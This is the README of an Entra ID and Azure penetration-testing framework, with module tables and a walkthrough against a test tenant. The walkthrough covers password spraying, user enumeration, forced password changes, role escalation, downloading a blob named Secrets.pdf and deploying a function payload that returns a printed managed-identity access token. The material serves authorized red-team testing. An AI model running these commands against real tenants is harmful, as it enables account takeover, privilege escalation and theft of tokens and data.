|
|
Entruder is a comprehensive Microsoft Entra ID Penetration Testing framework written in Python. It serves to provide a centralized base for Entra ID based attacks and testing techniques, providing various modules and commands used to enumerate, interact with and exploit weaknesses in a given tenant. Entruder grew out of a common frustration with decentralized Entra ID and Azure tooling, with having to switch between Bash and PowerShell interfaces to conduct different techniques, while having to reinput access tokens with each respective tool. Similar in concept and structure as to how NetExec and BloodyAD function against Active Directory environments, operating on a command-subcommand system, Entruder aims to bring the same unified approach to Microsoft Entra ID.
Entruder is intended for authorized security testing, research, and educational purposes only. This tool is designed to be used by security professionals, penetration testers, and researchers who have explicit, written permission to test the target Microsoft Entra ID tenant and associated resources. Running Entruder against any tenant, account, or infrastructure you do not own or have authorization to assess may be illegal and is strictly prohibited.
Entruder is organized into command groups, with each providing respective subcommands under a single verb. An example of this is:
entruder get tenant
where get is the verb and tenant is the subcommand.
A full set of groups is provided below:
| Group | Purpose |
|---|---|
| login | Acquire and initialize sessions across every major Entra auth flow |
| enum | Enumerate identity, directory, and Azure resource objects |
| get | Retrieve a single object or piece of loot in detail |
| set | Modify directory objects, escalate, persist, and pivot |
| brute | Credential and access-control attacks (spray, user enum, MFA/CA sweeps) |
| exploit | Execute code against Azure compute resources |
| azsync | Attack Entra Connect / AD Sync hybrid-identity infrastructure |
| sharepoint | Discover and search SharePoint & OneDrive data |
| info | Local utilities used for decoding tokens, listing known clients |
Login Module
Used to authenticate to a tenant, acquiring an access token and storing it in the session cache. If the auth flow supports it, Entruder will automatically extract access tokens across all resource planes.
| Command | Description |
|---|---|
| device | Authenticate via device code flow (v1 default, --v2 for scope-based flow) |
| authcode | Authenticate via the OAuth2 authorization code flow |
| ropc | Authenticate with username and password (Resource Owner Password Credentials) |
| secret | Authenticate as a service principal with a client ID and secret |
| cert | Authenticate as a service principal with a client certificate |
| refresh | Acquire new access tokens using a refresh token |
| foci | Abuse the Family of Client IDs to acquire a Family Refresh Token (FRT) |
| kerberos | Authenticate using a Kerberos ticket via Seamless SSO (pass-the-ticket) |
| token | Initialize a session from a previously acquired access token |
Enum Module
By far the bulkiest module, providing enumeration commands against most Entra ID and Azure objects.
| Command | Description |
|---|---|
| users | Enumerate directory users via Microsoft Graph |
| groups | Enumerate directory groups via Microsoft Graph |
| sp | Enumerate service principals via Microsoft Graph |
| apps | Enumerate app registrations, requested permissions, redirect URIs, and credentials |
| roles | Enumerate tenant-wide directory role assignments — who has what role |
| privs | Enumerate the current user's privileges (requires graph + management token) |
| owned | Enumerate everything the current user owns or controls via membership |
| au | Enumerate administrative units and their delegation details |
| devices | Enumerate tenant-wide registered devices |
| cap | Enumerate Conditional Access policies |
| consents | Enumerate OAuth2 delegated permission grants (who holds what scope on whose behalf) |
| subscriptions | Enumerate subscriptions associated with the tenant |
| resources | Enumerate resources within a subscription |
| storage-accounts | Enumerate storage accounts and their exposure-relevant settings |
| containers | List containers in a storage account |
| blobs | List blobs in a container |
| keyvaults | Enumerate Key Vaults in a subscription and their settings |
| secrets | List secret names/metadata in a vault |
| keys | List key names/metadata in a vault |
| certificates | List certificate names/metadata in a vault |
| webapps | Enumerate App Service web apps and their exposure-relevant settings |
| webapp-slots | Enumerate a web app's deployment slots (each a full site in its own right) |
| funcapps | Enumerate function apps in a subscription |
| automation-accounts | Enumerate Automation Accounts in a subscription |
| runbooks | List runbooks in an Automation Account |
| automation-variables | List variables in an Automation Account |
| rbac | List ARM role assignments for a specific resource |
Get Module
Provides commands for retrieving a single specific object or piece of loot, with more detail than the enum module.
| Command | Description |
|---|---|
| user | Query a specific user in detail (more than enum users) |
| group | Fetch a single group by object ID or display name |
| app | Fetch a single application or service principal by object ID |
| tenant | Fetch a tenant's identity/federation info by domain |
| token | Acquire token(s) from the host's Managed Identity via the IMDS endpoint |
| Fetch a single email's full content (subject, sender, recipients, body, attachments) | |
| file | Download a file from SharePoint or OneDrive by drive item ID |
| blob | Retrieve a single blob's content |
| keyvault | Fetch a single Key Vault's ARM properties by name |
| secret-value | Retrieve a secret's actual value |
| runbook-content | Retrieve a runbook's script content (may hide credentials) |
Set Module
Provides commands for modifying objects and their attributes. Primarily used for post-exploitation, escalation, and persistence.
| Command | Description |
|---|---|
| password | Change a user's password |
| owner | Add a user as owner of an application or service principal |
| group-member | Add a user to a group |
| role-member | Add a user to a directory role |
| app-role | Assign an app role to a user or service principal |
| app-secret | Add a client secret to an application (auth as that app's service principal) |
| arm-role | Add an ARM role assignment against a management resource |
Brute Module
This module packs commands for brute-force and password-guessing attacks against the tenant.
| Command | Description |
|---|---|
| users | Discover valid Entra ID users from a wordlist |
| pwspray | Spray password(s) against a list of userPrincipalNames |
| mfasweep | Authenticate across numerous planes to check for missing MFA enforcement |
| uasweep | Authenticate with a range of User-Agent strings to find Conditional Access gaps |
| blobs | Brute-force container names against a storage account and check for public listing |
Exploit Module
The exploit module provides techniques for exploiting Azure compute resources, mainly to achieve code execution and extract Managed Identity access tokens.
| Command | Description |
|---|---|
| runbook | Create, publish, and run a malicious runbook to execute code |
| funcapp | Deploy and trigger malicious function app content to execute code |
| kudu | Execute system commands via a web app's Kudu instance |
Azsync Module
The azsync module contains commands for exploiting Microsoft Entra Connect (Azure AD Connect) deployments in a tenant.
| Command | Description |
|---|---|
| users | Enumerate directory users synced from on-prem AD via Entra Connect |
| extract | Pull ADSync configuration from an MSSQL database hosting an Entra Connect install |
| ato | Take over a target account (e.g. Global Admin) by abusing on-prem sync (MSOL) credentials |
Sharepoint Module
The sharepoint module contains commands for interacting with and retrieving SharePoint and OneDrive objects in a tenant.
| Command | Description |
|---|---|
| sites | Enumerate SharePoint sites visible to the session via the Microsoft Search API |
| files | Search file names/content across every visible SharePoint site and OneDrive drive |
Info Module
The info module provides general tool information and offline analysis commands.
| Command | Description |
|---|---|
| token | Decode and analyze a JWT (UPN, directory roles, display name, etc.) |
| clients | List well-known Microsoft first-party client IDs the tool recognizes |
You can clone the repository and use the tool via python3.12+
git clone https://github.com/LGenAgul/Entruder
cd Entruder
pip install -e .
entruder --helpOr download a compiled binary from releases if you don't want Python.
Entruder is built around a session model. Within the tool, you authenticate once, and the resulting tokens are cached, reused and refreshed automatically by every subsequent command. You provide the tenant and client Ids as parameters on your initial login, for example:
$ entruder login ropc -t <TENANT_ID> -c <CLIENT_ID> -u <EMAIL> -p <PASSWORD>Upon a successful authentication flow, the access tokens are saved, with the last given tenant and client Ids cached in separate file aswell. From hereon you just run commands and Entruder selects the appropriate access token needed.
$ entruder [GLOBAL OPTIONS] <MODULE> <COMMAND> [OPTIONS]These apply to every command and are passed before the group name:
| Option | Description |
|---|---|
| --color / --no-color | Enable colored output (default: no color) |
| -v, --verbose | Show full tracebacks for internal errors |
| -n, --no-progress | Disable the live progress spinner for multi-call commands |
Every module and command has its own respective --help document. Not specifying any arguments also defaults to a help output
# top-level groups and global options
entruder --help
# all enum subcommands
entruder enum --help
# options for a specific command
entruder login device --help
# no arguments, prints the enum help too
entruder enum The first authentication is the only time you supply the tenant and client. For the few commands that need a specific client ID, Entruder automatically selects the right one for you.
entruder login device -t <TENANT_ID> -c <CLIENT_ID>-t and -c are cached on first explicit use, so later commands need no re-authentication and no token juggling:
# reuses the cached Graph session
entruder enum users
# reuses the cached Management session
entruder enum subscriptions
# inspect what's cached across every plane
entruder info token Need a known first-party Client ID to authenticate with? List the ones Entruder recognizes.
$ entruder info clients
[...]
Client ID : cb1056e2-e479-49de-ae31-7812af012ed8
App Name : Microsoft Azure Active Directory Connect
Resolve As : aadconnect
Client ID : 04b07795-8ddb-461a-bbee-02f9e1bf7b46
App Name : Microsoft Azure CLI
Resolve As : azure_cli, azurecli
Client ID : 1950a258-227b-4e31-a9cf-717495945fc2
App Name : Microsoft Azure PowerShell
Resolve As : azure_powershell, azurepowershell
[...]You can also pass a given alias instead of the Client ID explicitly.
entruder login ropc -t <TENANT_ID> -c azurecli|
|
The testing flow generally begins by enumerating the Tenant ID from their domain name, this can be done in Entruder through:
entruder get tenant -d <DOMAIN_NAME>
After getting the tenant we can use the brute module with a predefined wordlist to discover valid users
entruder brute users -d <DOMAIN_NAME> -l <PATH_TO_WORDLIST>
After discovering valid users we can spray a password list across them using brute pwspray
entruder brute pwspray -u <USER_LIST> --passwords <PASSWORD_LIST> -t <TENANT_ID> -c <CLIENT_ID>In the below example we can see that a valid password is discovered, with no MFA enforcement.

Now with a set of valid credentials we can authenticate to relevant resource planes and retrieve an access token for each, they will be stored in a session file in /home/<USER>/.entruder/sessions/
entruder login ropc -t <CLIENT_ID> -c <CLIENT_ID> -u '<UPN>' -p '<PASSWORD>'$ entruder login ropc -t 7a930b37-b80e-4c65-a674-9bffa7b7a42a -c azurecli -u testuser@satesto2026outlook.onmicrosoft.com -p 'EntruderIsTheTool123!'
[+] Graph Token acquired successfully!
[+] Management Token acquired successfully!
[+] Storage Token acquired successfully!
[+] Keyvault Token acquired successfully!
[+] Session saved for tenant: 7a930b37-b80e-4c65-a674-9bffa7b7a42a
We can begin enumeration by getting a list of subscriptions, an example below shows a single subscription with its respective id, which will be used as an argument in further commands
entruder enum subscriptions
We can enumerate the user's tenant-wide privileges including their group memberships, directory roles and owned objects with Entruder
entruder enum privs -s <SUBSCRIPTION_ID>
The output shows that our user possesses the "Global Administrator" role which means they possess the highest privileges inside the tenant.
Entruder can be used to enumerate all users in the tenant
entruder enum users
Entruder can be used to modify attributes, add group members, change passwords, add role assignments, and conduct other tenant-wide write operations
$ entruder set password -u <TARGET_UPN> -p <NEW_PASSWORD>$ entruder set password -u jtest@satesto2026outlook.onmicrosoft.com -p 'ChangedPassword123!'
[+] Password for abfc890f-7d22-40... successfully changed to ChangedPassword123!entruder set arm-role -rg rg-1 -res Microsoft.Storage/storageAccounts/beststorageintheworld -s 3e8cfe1d-4e52-4beb-8679-4eda267cc128 -u jtest@satesto2026outlook.onmicrosoft.com -r contributor
[+] Successfully assigned contributor to abfc890f-7d22-406d-bf79-300a6d82f4b5 on resource Microsoft.Storage/storageAccounts/beststorageintheworldYou can use Entruder with a Global Administrator Account to elevate their ARM privileges to User Access Administrator, so that you access all ARM resources
entruder exploit elevate$ entruder exploit elevate
[+] Global Administrator successfully elevated to User Access Administrator
[!] Re-authenticate to refresh your token before running Azure resource commandsEntruder provides command to enumerate and intract with ARM resources
entruder enum resources -s <SUBSCRIPTION_ID>entruder enum resources -s 3e8cfe1d-4e52-4beb-8679-4eda267cc128
[
{
"id": "/subscriptions/3e8cfe1d-4e52-4beb-8679-4eda267cc128/resourceGroups/rg-1/providers/Microsoft.Storage/storageAccounts/beststorageintheworld",
"name": "beststorageintheworld",
"type": "Microsoft.Storage/storageAccounts",
"sku": {
"name": "Standard_LRS",
"tier": "Standard"
},
"kind": "StorageV2",
"location": "italynorth",
"tags": {}
},
[...]For example we can target the "beststorageintheworld" storage account to get its containers
entruder enum containers -a <STORAGE_ACCOUNT_NAME>entruder enum containers -a beststorageintheworld
Containers in beststorageintheworld
Name : secretscontainer
Public Access : N/A
Last Modified : Thu, 03 Sep 2026 07:46:50 GMT
Lease Status : unlocked
Lease State : available
Immutability Policy : false
Legal Hold : false
1 containers totalentruder enum blobs -a beststorageintheworld -n secretscontainer
Blobs in beststorageintheworld/secretscontainer
Name : Secrets.pdf
Content Type : application/pdf
Size (bytes) : 648841
Last Modified : Thu, 03 Sep 2026 07:46:53 GMT
Blob Type : BlockBlob
Access Tier : Hot
Lease Status : unlocked
Etag : 0x8DF098F859694A8
1 blobs totalAnd Finally we can download the blob directly
entruder get blob -a beststorageintheworld -n secretscontainer -b Secrets.pdf > secrets.pdfEntruder can be used to abuse compute resources via "Contributor" role assigned users to execute code and extract managed identity tokens, an example of this would be Function Apps.
$ entruder exploit funcapp \
-t 7a930b37-b80e-4c65-a674-9bffa7b7a42a \
-c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 \
-s 3e8cfe1d-4e52-4beb-8679-4eda267cc128 \
-rg bacho_group -f bacho -i -r graph \
-H bacho-bngzcya8arafeubv.canadacentral-01.azurewebsites.net
[+] SCM basic auth enabled
https://bacho-bngzcya8arafeubv.scm.canadacentral-01.azurewebsites.net
[*] Deploying python payload to bacho...
202
"c61b62c4-f339-4074-9857-46b08272341b"
[+] Payload deployed successfully
[*] Waiting for function to initialise...
[*] Invoking function...
[+] Output:
{"access_token":
"eyJ0eXAiOiJKV1QiLCJub25jZSI6Ikh4cmJzQnQ3aWgycE1WMDU2N0s3cnRqMkJTNS11YTN6TU15aE1URnd3eTQiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQ1aDQwcTdHMHg0OXFuNDFsTTkta0tqcEQ5OCIsImtpZCI6IlQ1aDQwcTdHMHg0OXFuNDFsTTkta0tqcEQ5OCJ9.e
yJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvN2E5MzBiMzctYjgwZS00YzY1LWE2NzQtOWJmZmE3YjdhNDJhLyIsImlhdCI6MTc4ODExNzY2NSwibmJmIjoxNzg4MTE3NjY1LCJleHAiOjE3ODgyMDQz
NjUsImFjcnMiOlsicGZkciJdLCJhaW8iOiJBU1FBMi84Y0FBQUFLYm0wdFFkWlQ1SkxTSUhZdCtCRjZlMENPNXRRSmZaMzdhNEt3aUVrbFBjPSIsImFwcF9kaXNwbGF5bmFtZSI6ImJhY2hvIiwiYXBwaWQiOiI5NTk2YTIwYi1mOTk3LTRhMWYtOTllYS1jMDQ1ZTBlZjZkNzE
iLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC83YTkzMGIzNy1iODBlLTRjNjUtYTY3NC05YmZmYTdiN2E0MmEvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiJkMWI3MTVlZS0wOGUyLTRlNjEtYjY4Yi02NjFkODBiZTcxYjgiLCJyaCI6IjEuQV
hvQU53dVRlZzY0WlV5bWRKdl9wN2VrS2dNQUFBQUFBQUFBd0FBQUFBQUFBQUFBQUFCNkFBLiIsInN1YiI6ImQxYjcxNWVlLTA4ZTItNGU2MS1iNjhiLTY2MWQ4MGJlNzFiOCIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJFVSIsInRpZCI6IjdhOTMwYjM3LWI4MGUtNGM2NS1hN
jc0LTliZmZhN2I3YTQyYSIsInV0aSI6ImJSdnBLTFZBcGtlRENkbGF4NnV6QUEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbIjA5OTdhMWQwLTBkMWQtNGFjYi1iNDA4LWQ1Y2E3MzEyMWU5MCJdLCJ4bXNfYWN0X2ZjdCI6IjkgMyIsInhtc19mdGQiOiJrcTNfUkF1cnNxUDlxV0Rs
X2pxZUxvNUlzRzlyS2pFbHNvb3FPNkxkOEc0QlkyRnVZV1JoWTJWdWRISmhiQzFrYzIxeiIsInhtc19pZHJlbCI6IjcgOCIsInhtc19wZnRleHAiOiIxNzg4MjkwNzY1IiwieG1zX3JkIjoiMC40MkxsWUJKaXJCSVM0ZUFVRXBnV0h2aDgyLW1wUGszUFhDemJ4SUxZaEVRNE9
JUUVtQmtnNEFDVUZoTGg0QllTNE5qUXZINExYX2pTaU9PSzFpNnR6YklBIiwieG1zX3N1Yl9mY3QiOiIzIDkiLCJ4bXNfdGNkdCI6IjE3ODgwMzAxNDMiLCJ4bXNfdG50X2ZjdCI6IjMgMiJ9.XQnKiR2Eh07SnQvEykRysEsJNUBY3tZ-rhvWKfA2Op2yQjCuCN2RdrYY1vvbu
6sEY0BST5Ama1WLOIIORS-xjayuboiQugqVWE1GcaxinkoiaDYoLlpcmwQBO42ps4tK39yuHpIpx-qKq_cz1dE-l7aQIT-qV6aB6a3REiqvoljLkTX8xA_ZzWq_lZ6Kd20268Obn8iAnNmTHsOu2-OcgbfNLOwOVZ4mqugCnJ5_feFsuVfz6jgCav-G_ZoYTp3omQIgy3osAbwq
BJ-ee7kTVXZLqAoFDeXShS5vYBo8nGDIQsdnukB8coAAd6TR5C9G9fuodcEoQgGs8n0V3_F8PA", "expires_on": "1788204364", "resource": "https://graph.microsoft.com/", "token_type": "Bearer", "client_id":
"9596a20b-f997-4a1f-99ea-c045e0ef6d71"}This tool was built upon techniques and research offered by the following projects. Kudos to their creators for the outstanding work:
- AADInternals by Dr. Nestori Syynimaa - the foundational reference for Entra ID attack techniques, particularly the Azure AD Connect hybrid attack chain and WS-Trust authentication flows
- ROADtools by Dirk-jan Mollema - architecture reference for Python-native Entra ID tooling and token handling
- GraphRunner by Beau Bullock - reference for Microsoft Search API enumeration techniques and FOCI token abuse
- Impacket by Fortra - DPAPI and MSSQL client implementation used in the azsync module
- MicroBurst by NetSPI - Azure resource enumeration techniques
- PowerZure by hausec - Azure exploitation technique reference
All dependencies are installed automatically via pip install -e .
| Package | Purpose |
|---|---|
httpx |
HTTP client for all API requests |
typer |
CLI framework |
rich |
Terminal output formatting |
msal |
Microsoft Authentication Library (device flow, cert auth) |
impacket |
DPAPI decryption and MSSQL client (azsync module) |
cryptography |
Certificate-based authentication |
jsonschema |
Session file validation |
requests |
MSAL dependency |
The login kerberos command requires additional system packages:
Linux/macOS:
# Debian/Ubuntu
sudo apt install libkrb5-dev
pip install gssapi
# macOS
brew install krb5
pip install gssapiWindows:
pip install winkerberosIf you prefer not to manage Python dependencies, pre-built binaries for Linux, macOS, and Windows are available in the releases page, no Python installation required.
Contributions are welcome. If you have a technique, module, or a general improvement you'd like to add, feel free to open a pull request or an issue.
- Follow the existing module structure with each command living in its own file under the appropriate module folder
- Use the
@handle_cli_errorsdecorator on all commands - Add a
vprintcall before every HTTP request - Include a clear docstring on every command describing what it does and what token/permissions it requires
- Test your changes against a live tenant before submitting
If you're adding an entirely new module group:
- Create a folder under
entruder/modules/<module_name>/ - Add
__init__.pyexporting the Typer app - Add
_shared.pywith the app definition and shared imports - Register the app in
entruder/cli.py
Open a GitHub issue with:
- The command you ran (redact any sensitive values)
- The error or unexpected output
- Your Python version and OS